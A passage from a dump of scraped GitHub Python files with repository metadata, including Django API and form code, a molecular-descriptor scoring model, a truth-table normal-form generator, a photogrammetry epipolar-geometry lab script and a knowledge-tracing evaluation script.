'status_code': code,\n 'message': 'User is unauthorized.',\n }\n elif code == 405: # Method is not allowed\n response = {\n 'status_code': code,\n 'message': msg if msg else 'Method %s is not allowed. (%s)' % (data[0], ', '.join(data[1:]))\n }\n elif code == 500: # Unknown server error\n response = {\n 'status_code': code,\n 'message': msg if msg else 'Internal server error.'\n }\n\n logger.error(traceback.format_exc())\n\n logger.info('%(path)s\\t%(method)s\\t%(code)s\\t(%(teacher_id)s/%(student_id)s)\\t%(body)s\\t\"%(response)s\"' %{\n 'path': request.path,\n 'method': request.method,\n 'code': response['status_code'],\n 'teacher_id': teacher_id,\n 'student_id': student_id,\n 'body': get_body(request),\n 'response': response['message']\n })\n return HttpResponse(json.dumps(response, ensure_ascii=False), content_type=u\"application/json; charset=utf-8\")\n\n\ndef to_json(object: Teacher or Student or Content or Category or Curriculum) -> dict:\n \"\"\"\n :param object: instance of models\n :return: dict form json data\n \"\"\"\n if isinstance(object, Teacher):\n return {\n 'username': object.username,\n 'fullname': object.fullname,\n 'email': object.email,\n 'birthday': str(object.birthday)\n }\n elif isinstance(object, Student):\n return {\n 'username': object.username,\n 'fullname': object.fullname,\n 'email': object.email,\n 'birthday': str(object.birthday),\n 'image_id': object.image_id\n }\n elif isinstance(object, Content):\n return {\n 'id': object.id,\n 'title': object.title,\n 'level': object.level,\n 'teacher': {\n 'id': object.teacher_id,\n 'fullname': object.teacher.fullname\n }\n }\n elif isinstance(object, Category):\n return {\n 'id': object.id,\n 'english': object.english\n }\n elif isinstance(object, Curriculum):\n return {\n 'content_id': object.id,\n 'percentage': object.percentage,\n 'score': object.score,\n 'end_datetime': str(object.end_datetime)\n }\n\n\ndef get_detail_content(content: Content) -> dict:\n return {\n 'id': content.id,\n 'category': content.category.english,\n 'type': content.type,\n 'title': content.title,\n 'level': content.level,\n 'teacher': {\n 'id': content.teacher_id,\n 'fullname': content.teacher.fullname\n },\n 'content': content.content,\n 'res_image': content.res_image,\n 'res_sound': content.res_sound\n }","repo_name":"Earndu/EarnduServer","sub_path":"study/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"74199042725","text":"#!/usr/bin/env python3\r\n\"\"\"\"\r\nFor each molecule in test set we compare its descriptors\r\nwith the active descriptors and we compute a sum.\r\nIf we find descriptor in active descriptors we add to the sum +num1\r\nand if we do not find it we add -num2\r\ninput model_configuration should look like this:\r\n {\"model_name\": \"descriptors_model\", \"fragments\": \"ecfp.6\", \"active_parameter\": num1,\"inactive_parameter\": num2}\r\n where num1 and num2 are numbers\r\n\"\"\"\r\nimport json\r\n\r\nfrom model_interface import IModel\r\nfrom model_factory import register_model\r\nimport inputoutput_utils\r\n\r\n\r\nclass DescriptorsModel(IModel):\r\n model_name = \"descriptors_model\"\r\n\r\n def name(self):\r\n return self.model_name\r\n\r\n def create_model(self, active_fragments: str, inactive_fragments: str,\r\n active_descriptors: str, inactive_descriptors: str,\r\n model_configuration: str) -> dict:\r\n descriptors = []\r\n with open(active_descriptors, \"r\") as stream:\r\n line = stream.readline()\r\n line_parts = line.split(\",\")\r\n if line_parts[1] != \"index\":\r\n print(\"Wrong input, we want fragments descriptors not molecules\")\r\n exit(1)\r\n for line in stream:\r\n line_parts = line.split(\",\")\r\n descriptors.append(line_parts[2:])\r\n model = {\r\n \"configuration\": model_configuration,\r\n \"data\": descriptors\r\n }\r\n return model\r\n\r\n def save_to_json_file(self, output_file: str, model: dict):\r\n inputoutput_utils.save_to_json_file(output_file, model)\r\n\r\n def score_model(self, model_configuration: dict, fragments_file: str,\r\n descriptors_file: str, output_file: str):\r\n name_num = _read_molecules(fragments_file)\r\n inputoutput_utils.create_parent_directory(output_file)\r\n active_parameter = int(model_configuration[\"configuration\"][\"active_parameter\"])\r\n inactive_parameter = int(model_configuration[\"configuration\"][\"inactive_parameter\"])\r\n with open(output_file, \"w\") as streamo:\r\n first_write = True\r\n with open(descriptors_file, \"r\") as stream:\r\n next(stream)\r\n counter = 0\r\n molecule_num = 0\r\n sum = 0\r\n for line in stream:\r\n line_parts = line.split(\",\")\r\n parts = line_parts[2:]\r\n founded = False\r\n for descriptors in model_configuration[\"data\"]:\r\n if descriptors == parts:\r\n founded = True\r\n break\r\n\r\n if founded:\r\n sum += active_parameter\r\n else:\r\n sum -= inactive_parameter\r\n counter += 1\r\n if counter == name_num[molecule_num][\"fragments\"]:\r\n score = {\r\n \"name\": name_num[molecule_num][\"molecule\"],\r\n \"score\": sum / counter\r\n }\r\n counter = 0\r\n sum = 0\r\n molecule_num += 1\r\n if first_write:\r\n first_write = False\r\n else:\r\n streamo.write(\"\\n\")\r\n json.dump(score, streamo)\r\n\r\n\r\ndef _read_molecules(input_file: str):\r\n name_num = []\r\n with open(input_file, \"r\") as stream:\r\n for line in stream:\r\n molecule = json.loads(line)\r\n name = molecule[\"name\"]\r\n num_fragments = len(molecule[\"fragments\"])\r\n mol_frag = {\r\n \"molecule\": name,\r\n \"fragments\": num_fragments\r\n }\r\n name_num.append(mol_frag)\r\n return name_num\r\n\r\n\r\nregister_model(DescriptorsModel.model_name, lambda: DescriptorsModel())\r\n\r\n\r\n","repo_name":"LamprechtMatyas/MolecularSimilarity","sub_path":"model/descriptors_model.py","file_name":"descriptors_model.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"40418663451","text":"from re import search, match\n\ndef parse( regexp, line, method=search ):\n \"\"\"\n like what method does, but allows a single line \n \"\"\"\n m = method( regexp, line )\n if m:\n return m\n return None","repo_name":"SLAC/slac_utils","sub_path":"regexp.py","file_name":"regexp.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10995908818","text":"from operator_symbols import OPERATOR_SIGNS\nfrom truth_table import TruthTable\n\n\nclass NormalForm:\n def __init__(self, truth_table: TruthTable, results, nf_params):\n self.TT = truth_table\n self.TT_results = self.set_results(results)\n self.result = self.NF(*nf_params)\n\n def __str__(self):\n return self.result\n\n @staticmethod\n def set_results(results):\n if type(results) == str:\n return [int(val) for val in results]\n return results\n\n def NF(self, cdnf_else_ccnf: bool, inner_junction: str, outer_junction: str):\n if len(self.TT_results) != len(self.TT.table):\n raise Exception('Invalid Input (result and truth table rows do not match in length)')\n nf = []\n for i in range(len(self.TT.table)):\n if self.TT_results[i] == cdnf_else_ccnf:\n if nf:\n nf.append(outer_junction)\n nf.append('(')\n row = self.TT.table[i]\n for j in range(len(self.TT.variables)):\n if j:\n nf.append(inner_junction)\n var = self.TT.variables[j]\n if row[j] if cdnf_else_ccnf else not row[j]:\n nf.append(var)\n else:\n nf.append(OPERATOR_SIGNS['NOT'])\n nf.append(var)\n nf.append(')')\n return ''.join(nf)\n\n\nclass CDNF(NormalForm):\n def __init__(self, truth_table, results):\n super(CDNF, self).__init__(truth_table, results, [True, OPERATOR_SIGNS['AND'], OPERATOR_SIGNS['OR']])\n\n\nclass CCNF(NormalForm):\n def __init__(self, truth_table, results):\n super(CCNF, self).__init__(truth_table, results, [False, OPERATOR_SIGNS['OR'], OPERATOR_SIGNS['AND']])\n","repo_name":"MaxWolf-01/TruthTabler","sub_path":"src/normal_forms.py","file_name":"normal_forms.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"43321544670","text":"import numpy as np\nimport random\nfrom scipy import linalg as la\nfrom scipy import matrix\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport pandas as pd\nimport cv2\nfrom Camera import *\nfrom ImagePair import *\nfrom SingleImage import *\nfrom PhotoViewer import *\n\n\ndef computeDesignMatrix_Fundamental(pts1, pts2):\n \"\"\"\n return design matrix for Fundamental matrix computation given a set of homologic points\n :param pts1:\n :param pts2:\n :return: design matrix A for extracting the fundamental matrix\n \"\"\"\n A = np.zeros((len(pts1), 9))\n A[:, 0] = pts1[:, 0] * pts2[:, 0]\n A[:, 1] = pts1[:, 1] * pts2[:, 0]\n A[:, 2] = pts2[:, 0]\n A[:, 3] = pts1[:, 0] * pts2[:, 1]\n A[:, 4] = pts1[:, 1] * pts2[:, 1]\n A[:, 5] = pts2[:, 1]\n A[:, 6] = pts1[:, 0]\n A[:, 7] = pts1[:, 1]\n A[:, -1] = np.ones(A[:, -1].shape)\n return A\n\n\ndef normalizePoints(img_shape, pts1, pts2):\n \"\"\"\n return an array of the normalized points between -1, 1 given img and homologic points\n both images are presumed to be same size\n :param img:\n :param pts1:\n :param pts2:\n :return: the nomalizing matrix and normalized points\n \"\"\"\n xmax = img_shape[0]\n ymax = img_shape[1]\n xm = 0.5 * (0 + xmax)\n ym = 0.5 * (0 + ymax)\n dx = xmax\n dy = ymax\n S = np.array([[2 / dx, 0, -2 * (xm / dx)], [0, 2 / dy, -2 * (ym / dy)], [0, 0, 1]])\n pts1_normalized = []\n pts2_normalized = []\n for i in range(len(pts1)):\n pts1_normalized.append(np.dot(S, pts1[i]))\n pts2_normalized.append(np.dot(S, pts2[i]))\n\n pts1_normalized = np.vstack(pts1_normalized)\n pts2_normalized = np.vstack(pts2_normalized)\n\n return S, pts1_normalized, pts2_normalized\n\n\ndef findHomologicPoints(img1, img2, draw_images=0):\n \"\"\"\n use SIFT & opencv to locate points from img1 in img2\n :param img1: query image\n :param img2: train image\n :param draw_images: flag for drawing the homologic points found\n :return: pts1 & pts2\n \"\"\"\n # find homologic points\n MIN_MATCH_COUNT = 10\n\n # Initiate SIFT detector\n sift = cv2.xfeatures2d.SIFT_create()\n # find the keypoints and descriptors with SIFT\n kp1, des1 = sift.detectAndCompute(img1, None)\n kp2, des2 = sift.detectAndCompute(img2, None)\n\n # FLANN parameters\n FLANN_INDEX_KDTREE = 0\n index_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5)\n search_params = dict(checks=50) # or pass empty dictionary\n\n flann = cv2.FlannBasedMatcher(index_params, search_params)\n matches = flann.knnMatch(des1, des2, k=2)\n\n # Need to draw only good matches, so create a mask\n matchesMask = [[0, 0] for i in range(len(matches))]\n\n good = []\n pts1 = []\n pts2 = []\n # ratio test as per Lowe's paper\n for i, (m, n) in enumerate(matches):\n if m.distance < 0.5 * n.distance:\n matchesMask[i] = [1, 0]\n good.append(m)\n pts2.append(kp2[m.trainIdx].pt)\n pts1.append(kp1[m.queryIdx].pt)\n\n if len(good) > MIN_MATCH_COUNT and draw_images:\n draw_params = dict(matchColor=(0, 255, 0),\n singlePointColor=(255, 0, 0),\n matchesMask=matchesMask,\n flags=0)\n\n img3 = cv2.drawMatchesKnn(img1, kp1, img2, kp2, matches, None, **draw_params)\n\n plt.imshow(img3, ), plt.show()\n\n return np.vstack(pts1), np.vstack(pts2)\n\n\ndef ransacFundamental(img1, pts1, pts2, tolerance=0.01, normalize=1):\n \"\"\"\n\n :param img1:\n :param pts1:\n :param pts2:\n :param tolerance:\n :param normalize:\n :return:\n \"\"\"\n\n def check_minCount(F, minCount, pts1, pts2):\n counter = 0\n for i in range(len(pts1)):\n if np.dot(np.dot(pts2[i].T, F), pts1[i]) <= tolerance:\n counter += 1\n print(counter, '/', len(pts1))\n if counter >= minCount:\n return False\n return True\n\n # setting desired count for matching points, in our case 85%\n n = len(pts1)\n good_pts1 = []\n good_pts2 = []\n MIN_MATCH_COUNT = np.int(0.85 * n)\n # initial value for the fundamental matrix\n F = np.ones((3, 3))\n while check_minCount(F, MIN_MATCH_COUNT, pts1, pts2):\n # select random 8 points - minimum for fundamental matrix extraction\n random_idx = []\n for i in range(8):\n random_idx.append(random.randrange(n))\n\n rand8_pts1 = np.vstack((pts1[random_idx[0]], pts1[random_idx[1]], pts1[random_idx[2]],\n pts1[random_idx[3]], pts1[random_idx[4]], pts1[random_idx[5]],\n pts1[random_idx[6]], pts1[random_idx[7]]))\n rand8_pts2 = np.vstack((pts2[random_idx[0]], pts2[random_idx[1]], pts2[random_idx[2]],\n pts2[random_idx[3]], pts2[random_idx[4]], pts2[random_idx[5]],\n pts2[random_idx[6]], pts2[random_idx[7]]))\n\n # normalizing pts between -1,1\n S, pts1_normalized, pts2_normalized = normalizePoints(img1.shape, rand8_pts1, rand8_pts2)\n # creating design matrix\n A = computeDesignMatrix_Fundamental(pts1_normalized, pts2_normalized)\n # solving homogeneous equation\n N = np.dot(A.T, A)\n egi_vals, egi_vect = np.linalg.eig(N)\n min_egi_val_index = np.argmin(egi_vals)\n v = egi_vect[:, min_egi_val_index]\n F = v.reshape((3, 3))\n # svd decomposition for setting one singular value to zero\n u, s, vh = la.svd(F)\n s[-1] = 0\n fixed_F = np.dot(np.dot(u, np.diag(s)), vh)\n # converting F back to the normal coordinates and normalizing to norm=1\n fixed_F = np.dot(np.dot(S.T, fixed_F), S)\n F = fixed_F / la.norm(fixed_F)\n\n # filtering out the bad points\n for i in range(len(pts1)):\n if np.dot(np.dot(pts2[i].T, F), pts1[i]) <= tolerance:\n good_pts1.append(pts1[i])\n good_pts2.append(pts2[i])\n # using rest of points to adjust the new and improved fundamental matrix\n # normalizing pts between -1,1\n S, pts1_normalized, pts2_normalized = normalizePoints(img1.shape, good_pts1, good_pts2)\n # creating design matrix\n A = computeDesignMatrix_Fundamental(pts1_normalized, pts2_normalized)\n # solving homogeneous equation\n N = np.dot(A.T, A)\n egi_vals, egi_vect = np.linalg.eig(N)\n min_egi_val_index = np.argmin(egi_vals)\n v = egi_vect[:, min_egi_val_index]\n F = v.reshape((3, 3))\n # svd decomposition for setting one singular value to zero\n u, s, vh = la.svd(F)\n s[-1] = 0\n fixed_F = np.dot(np.dot(u, np.diag(s)), vh)\n # converting F back to the normal coordinates and normalizing to norm=1\n fixed_F = np.dot(np.dot(S.T, fixed_F), S)\n F = fixed_F / la.norm(fixed_F)\n\n return F, np.vstack(good_pts1), np.vstack(good_pts2)\n\n\n# METHOD FROM OPENCV\ndef drawlines(img1, img2, lines, pts1, pts2):\n ''' img1 - image on which we draw the epilines for the points in img2\n lines - corresponding epilines '''\n r, c = img1.shape\n img1 = cv2.cvtColor(img1, cv2.COLOR_GRAY2BGR)\n img2 = cv2.cvtColor(img2, cv2.COLOR_GRAY2BGR)\n for r, pt1, pt2 in zip(lines, pts1, pts2):\n color = tuple(np.random.randint(0, 255, 3).tolist())\n x0, y0 = map(int, [0, -r[2] / r[1]])\n x1, y1 = map(int, [c, -(r[2] + r[0] * c) / r[1]])\n img1 = cv2.line(img1, (x0, y0), (x1, y1), color, 1)\n img1 = cv2.circle(img1, tuple(pt1.astype(int)), 5, color, -1)\n img2 = cv2.circle(img2, tuple(pt2.astype(int)), 5, color, -1)\n return img1, img2\n\n\nif __name__ == '__main__':\n # computing K camera calibration matrix using cv2\n K, rvecs, tvecs = Camera.calibrateCamera_checkers()\n # print(pd.DataFrame(K))\n\n # loading images\n img1 = cv2.imread('images/20200622_140804.jpg', 0) # queryImage 'box'\n img2 = cv2.imread('images/20200622_140813.jpg', 0) # trainImage 'box-in-scene'\n\n # computing fundamental matrix\n # locating homologic points\n pts1, pts2 = findHomologicPoints(img1, img2)\n\n ##### TRY TO USE OPENCV FOR GETTING FUNDAMENTAL MATRIX AND DRAW EPIPOLAR LINES\n # opencv drawing\n F1, mask = cv2.findFundamentalMat(pts1, pts2, cv2.FM_RANSAC)\n F1 = F1 / la.norm(F1)\n\n # We select only inlier points\n pts1 = pts1[mask.ravel() == 1]\n pts2 = pts2[mask.ravel() == 1]\n\n # Find epilines corresponding to points in right image (second image) and\n # drawing its lines on left image\n # lines1 = cv2.computeCorrespondEpilines(pts2.reshape(-1, 1, 2), 2, F1)\n # lines1 = lines1.reshape(-1, 3)\n # img5, img6 = drawlines(img1, img2, lines1, pts1, pts2)\n # # Find epilines corresponding to points in left image (first image) and\n # # drawing its lines on right image\n # lines2 = cv2.computeCorrespondEpilines(pts1.reshape(-1, 1, 2), 1, F1)\n # lines2 = lines2.reshape(-1, 3)\n # img3, img4 = drawlines(img2, img1, lines2, pts2, pts1)\n # plt.subplot(121),\n # # plt.scatter(pts1[:, 0], pts1[:, 1])\n # plt.imshow(img5), plt.axis('off')\n # plt.subplot(122), plt.imshow(img3), plt.axis('off')\n # plt.show()\n\n ####\n\n # converting points to homogeneous presentation\n # f = np.mean(np.array([K[0, 0], K[1, 1]]))\n pts1 = np.hstack((pts1, np.ones((pts1.shape[0], 1))))\n pts2 = np.hstack((pts2, np.ones((pts2.shape[0], 1))))\n\n # correcting points to ideal camera\n K[0, 0] = -K[0, 0]\n K[1, 1] = -K[1, 1]\n xp = K[0, -1]\n yp = K[1, -1]\n ppa = np.array([xp, yp, 0])\n for i in range(len(pts1)):\n # pts1[i] = np.dot(la.inv(K), pts1[i])\n # pts2[i] = np.dot(la.inv(K), pts2[i])\n pts1[i] = pts1[i] - ppa\n pts2[i] = pts2[i] - ppa\n\n # ransac adjusting the fundamental matrix\n F, good_pts1, good_pts2 = ransacFundamental(img1, pts1, pts2, tolerance=0.01)\n\n # find epipole using null space\n # left null space is the 1st image epipole point\n epipole1 = la.null_space(matrix(F.T))\n # translate to image space\n epipole1 = (epipole1.T / epipole1.T[:, -1]) + ppa.T\n # show epipole on image\n # plt.imshow(img2, cmap='gray')\n # plt.scatter(epipole1.T[0], epipole1.T[1], s=200, c='g')\n # plt.axis('off')\n # plt.show()\n\n # computing epi-polar line for each homologic points and distance from it\n epi_lines = []\n distances = []\n for i, p in enumerate(good_pts2):\n epi_line = np.dot(p.T, F)\n epi_lines.append(epi_line)\n distances.append(np.abs(epi_line[0] * good_pts1[i, 0] + epi_line[1] * good_pts1[i, 1] + epi_line[-1]) / np.sqrt(\n epi_line[0] ** 2 + epi_line[1] ** 2))\n epi_lines = np.vstack(epi_lines)\n distances = np.vstack(distances)\n # filtering points above a certain distance from line\n idx = np.where(distances < 1)[0]\n good_pts1 = good_pts1[idx]\n good_pts2 = good_pts2[idx]\n good_epi_lines = epi_lines[idx]\n\n # for drawing purposes going back to image system\n good_pts1_image = []\n good_pts2_image = []\n for i in range(len(good_pts1)):\n good_pts1_image.append(good_pts1[i] + ppa)\n good_pts2_image.append(good_pts2[i] + ppa)\n\n good_pts1_image = np.vstack(good_pts1_image)\n good_pts2_image = np.vstack(good_pts2_image)\n\n # low_right_x = 2268.\n # upper_left_x = 0.\n # xs = (upper_left_x, low_right_x) # - ppa[0]\n # #\n #\n # plt.scatter(good_pts1[:, 0], good_pts1[:, 1], c='g')\n # for line in good_epi_lines:\n # y1 = (-line[0] * upper_left_x - line[-1]) / line[1]\n # y2 = (-line[0] * low_right_x - line[-1]) / line[1]\n # ys = (y1, y2) # - ppa[1]\n # # plt.scatter(xs, ys)\n # # plt.plot(xs, ys)\n # cv2.line(img1, (0, 2268), (int(y1), int(y2)), (0, 255, 0), thickness=2)\n # plt.imshow(img1, cmap='gray')\n # plt.show()\n\n # plt.subplot(121)\n # plt.axis('off')\n # plt.imshow(img1, cmap='gray')\n # plt.scatter(good_pts1_image[:, 0], good_pts1_image[:, 1])\n # plt.subplot(122)\n # plt.axis('off')\n # plt.imshow(img2, cmap='gray')\n # plt.scatter(good_pts2_image[:, 0], good_pts2_image[:, 1])\n # plt.show()\n\n # compute essential matrix using F\n E = np.dot(np.dot(K.T, F), K)\n u, s, vh = la.svd(E)\n s = np.array([1, 1, 0])\n E = np.dot(np.dot(u, np.diag(s)), vh)\n E = E / la.norm(E)\n\n # extracting mutual orientation parameters\n W = np.array([[0, -1, 0], [1, 0, 0], [0, 0, 1]])\n b1 = u[:, -1]\n b2 = -u[:, -1]\n R1 = np.dot(np.dot(u, W), vh.T)\n R2 = np.dot(np.dot(u, W.T), vh.T)\n\n # defining image pair\n cam = Camera(-K[0, 0], [K[0, -1], K[1, -1]], None, None, None, 0.5)\n\n image1 = SingleImage(cam)\n image2 = SingleImage(cam)\n\n image_pair = ImagePair(image1, image2)\n image_pair.RotationMatrix_Image1 = np.eye(3)\n\n fig_orthographic = plt.figure()\n ax1 = fig_orthographic.add_subplot(221, projection='3d')\n ax2 = fig_orthographic.add_subplot(222, projection='3d')\n ax3 = fig_orthographic.add_subplot(223, projection='3d')\n ax4 = fig_orthographic.add_subplot(224, projection='3d')\n\n # try1\n ax1.set_title('R1, b1')\n image_pair.RotationMatrix_Image2 = R1\n image_pair.PerspectiveCenter_Image2 = b1\n\n model_points = image_pair.ImagesToModel(good_pts1[5:10, 0:2], good_pts2[5:10, 0:2], 'vector')\n\n x1 = image_pair.PerspectiveCenter_Image1[:, None]\n x2 = image_pair.PerspectiveCenter_Image2[:, None]\n drawImageFrame(cam.sensorSize, cam.sensorSize, image_pair.RotationMatrix_Image1, x1, -cam.focalLength / 10000, 1,\n ax1)\n drawImageFrame(cam.sensorSize, cam.sensorSize, image_pair.RotationMatrix_Image2, x2, -cam.focalLength / 10000, 1,\n ax1)\n drawOrientation(image_pair.RotationMatrix_Image1, x1, 0.5, ax1)\n drawOrientation(image_pair.RotationMatrix_Image2, x2, 0.5, ax1)\n drawRays(model_points[0], x1, ax1, 'r')\n drawRays(model_points[0], x2, ax1, 'g')\n\n ax1.scatter(model_points[0][:, 0], model_points[0][:, 1], model_points[0][:, 2], marker='^')\n\n # try2\n ax2.set_title('R2, b2')\n image_pair.RotationMatrix_Image2 = R2\n image_pair.PerspectiveCenter_Image2 = b2\n\n model_points = image_pair.ImagesToModel(good_pts1[0:5, 0:2], good_pts2[0:5, 0:2], 'vector')\n\n x1 = image_pair.PerspectiveCenter_Image1[:, None]\n x2 = image_pair.PerspectiveCenter_Image2[:, None]\n drawImageFrame(cam.sensorSize, cam.sensorSize, image_pair.RotationMatrix_Image1, x1, -cam.focalLength / 10000, 1,\n ax2)\n drawImageFrame(cam.sensorSize, cam.sensorSize, image_pair.RotationMatrix_Image2, x2, -cam.focalLength / 10000, 1,\n ax2)\n drawOrientation(image_pair.RotationMatrix_Image1, x1, 0.5, ax2)\n drawOrientation(image_pair.RotationMatrix_Image2, x2, 0.5, ax2)\n drawRays(model_points[0], x1, ax2, 'r')\n drawRays(model_points[0], x2, ax2, 'g')\n\n ax2.scatter(model_points[0][:, 0], model_points[0][:, 1], model_points[0][:, 2], marker='^')\n\n # try3\n ax3.set_title('R1, b2')\n image_pair.RotationMatrix_Image2 = R1\n image_pair.PerspectiveCenter_Image2 = b2\n\n model_points = image_pair.ImagesToModel(good_pts1[0:5, 0:2], good_pts2[0:5, 0:2], 'vector')\n\n x1 = image_pair.PerspectiveCenter_Image1[:, None]\n x2 = image_pair.PerspectiveCenter_Image2[:, None]\n drawImageFrame(cam.sensorSize, cam.sensorSize, image_pair.RotationMatrix_Image1, x1, -cam.focalLength / 10000, 1,\n ax3)\n drawImageFrame(cam.sensorSize, cam.sensorSize, image_pair.RotationMatrix_Image2, x2, -cam.focalLength / 10000, 1,\n ax3)\n drawOrientation(image_pair.RotationMatrix_Image1, x1, 0.5, ax3)\n drawOrientation(image_pair.RotationMatrix_Image2, x2, 0.5, ax3)\n drawRays(model_points[0], x1, ax3, 'r')\n drawRays(model_points[0], x2, ax3, 'g')\n\n ax3.scatter(model_points[0][:, 0], model_points[0][:, 1], model_points[0][:, 2], marker='^')\n\n # try4\n ax4.set_title('R2, b1')\n image_pair.RotationMatrix_Image2 = R2\n image_pair.PerspectiveCenter_Image2 = b1\n\n model_points = image_pair.ImagesToModel(good_pts1[0:5, 0:2], good_pts2[0:5, 0:2], 'vector')\n\n x1 = image_pair.PerspectiveCenter_Image1[:, None]\n x2 = image_pair.PerspectiveCenter_Image2[:, None]\n drawImageFrame(cam.sensorSize, cam.sensorSize, image_pair.RotationMatrix_Image1, x1, -cam.focalLength / 10000, 1,\n ax4)\n drawImageFrame(cam.sensorSize, cam.sensorSize, image_pair.RotationMatrix_Image2, x2, -cam.focalLength / 10000, 1,\n ax4)\n drawOrientation(image_pair.RotationMatrix_Image1, x1, 0.5, ax4)\n drawOrientation(image_pair.RotationMatrix_Image2, x2, 0.5, ax4)\n drawRays(model_points[0], x1, ax4, 'r')\n drawRays(model_points[0], x2, ax4, 'g')\n\n ax4.scatter(model_points[0][:, 0], model_points[0][:, 1], model_points[0][:, 2], marker='^')\n\n # draw all model points\n fig_orthographic = plt.figure()\n ax = fig_orthographic.add_subplot(111, projection='3d')\n image_pair.RotationMatrix_Image2 = R2\n image_pair.PerspectiveCenter_Image2 = b2\n model_points = image_pair.ImagesToModel(good_pts1[:, 0:2], good_pts2[:, 0:2], 'vector')\n ax.scatter(model_points[0][:, 0], model_points[0][:, 1], model_points[0][:, 2], marker='^')\n\n # distances -> size of e vector we got from vectoric intersection\n es = la.norm(model_points[1], axis=1)\n\n plt.show()\n\n print(pd.DataFrame(F))\n","repo_name":"shaul-s/Photogrammetry","sub_path":"Photo-2/Lab8/Lab8.py","file_name":"Lab8.py","file_ext":"py","file_size_in_byte":17335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43538872462","text":"# Select journal - must be either \"ApJ\" or \"ApJL\"\njournal = \"ApJ\"\n\n# Name of output file\nfilename = \"out/\" + journal + \"_dates.csv\"\n\n# Number of articles to use from each issue\nnum_articles = 30\n\n\n# Input parameter validation\ndef valid(journal, num_articles):\n\ttry:\n\t\tif (int(num_articles) < 1):\n\t\t\treturn False # fails if num_articles < 1\n\texcept ValueError:\n\t\treturn False # fails if num_articles not an integer\n\n\tif journal not in {'APJ', 'APJL', 'apj', 'apjl'}:\n\t\treturn False\n\n\treturn True\n","repo_name":"phufbv/journal-stats","sub_path":"parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1010701538","text":"import os\nimport math\nimport torch\nimport argparse\nfrom sklearn import metrics\nfrom utils import getdata\nfrom DSAKT import DSAKT, Encoder, Decoder\nfrom SAKT import SAKT\n\ndef predict(window_size:int, model_path:str, data_path:str):\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\");\n pre_data,N_val,E,unit_list_val = getdata(window_size=window_size,path=data_path,model_type='sakt')\n\n model = torch.load(model_path);\n assert model.window_size == window_size;\n model.to(device);\n model.eval();\n\n with torch.no_grad():\n predict = model(pre_data[0].to(device), pre_data[1].to(device)).squeeze(-1).to(\"cpu\");\n correctness = pre_data[2];\n \n pred = [];\n cort = [];\n for i in range(N_val):\n pred.extend(predict[i][0:unit_list_val[i]].cpu().numpy().tolist());\n cort.extend(correctness[i][0:unit_list_val[i]].numpy().tolist());\n \n pred = torch.Tensor(pred) > 0.5;\n cort = torch.Tensor(cort) == 1;\n acc = torch.eq(pred, cort).sum() / len(pred);\n \n pred = [];\n cort = [];\n for i in range(N_val):\n pred.extend(predict[i][unit_list_val[i]-1:unit_list_val[i]].cpu().numpy().tolist());\n cort.extend(correctness[i][unit_list_val[i]-1:unit_list_val[i]].numpy().tolist());\n \n rmse = math.sqrt(metrics.mean_squared_error(cort, pred));\n fpr, tpr, thresholds = metrics.roc_curve(cort, pred, pos_label=1);\n auc = metrics.auc(fpr, tpr);\n \n print('val_auc: %.3f mse: %.3f acc: %.3f' %(auc, rmse, acc));\n \nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser();\n parser.add_argument(\"-ws\", \"--window_size\", required=True);\n parser.add_argument(\"-d\", \"--data_path\", required=True);\n parser.add_argument(\"-m\", \"--model_path\", required=True);\n args = parser.parse_args();\n \n assert os.path.exists(args.data_path);\n assert os.path.exists(args.model_path);\n \n predict(int(args.window_size), args.model_path, args.data_path);","repo_name":"Fusion4233919/DSAKT","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"14259933478","text":"from django import forms\nfrom .models import Cliente\n#, Sitios_cliente\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Submit, Row, Column\n\nclass FormularioCliente(forms.ModelForm):\n\n class Meta:\n model = Cliente\n fields = ['nombre', 'direccion', 'telefono', 'email']\n\n labels = {\n 'nombre': 'Nombre',\n 'direccion': 'Dirección',\n 'telefono': 'Teléfono',\n 'email': 'Email',\n }\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.layout = Layout(\n Row(\n Column('nombre', css_class='form-group col-md-6 mb-0'),\n Column('direccion', css_class='form-group col-md-6 mb-0'),\n css_class='row-fluid'\n ), \n Row(\n Column('telefono', css_class='form-group col-md-6 mb-0'),\n Column('email', css_class='form-group col-md-6 mb-0'),\n css_class='row-fluid'\n ), \n Submit('submit', 'Enviar', css_class='d-grid gap-2 col-2 mx-auto')\n )\n\n# class FormularioSitioCliente(forms.ModelForm):\n\n# class Meta:\n# model = Sitios_cliente\n# fields = ['nombre', 'direccion', 'telefono', 'email', 'encargado']\n\n# def __init__(self, *args, **kwargs):\n# super().__init__(*args, **kwargs)\n# self.helper = FormHelper()\n# self.helper.layout = Layout(\n# Row(\n# Column('nombre', css_class='form-group col-md-6 mb-0'),\n# Column('direccion', css_class='form-group col-md-6 mb-0'),\n# css_class='row-fluid'\n# ), \n# Row(\n# Column('telefono', css_class='form-group col-md-4 mb-0'),\n# Column('email', css_class='form-group col-md-4 mb-0'),\n# Column('encargado', css_class='form-group col-md-4 mb-0'),\n# css_class='row-fluid'\n# ), \n# Submit('submit', 'Enviar', css_class='d-grid gap-2 col-2 mx-auto')\n# 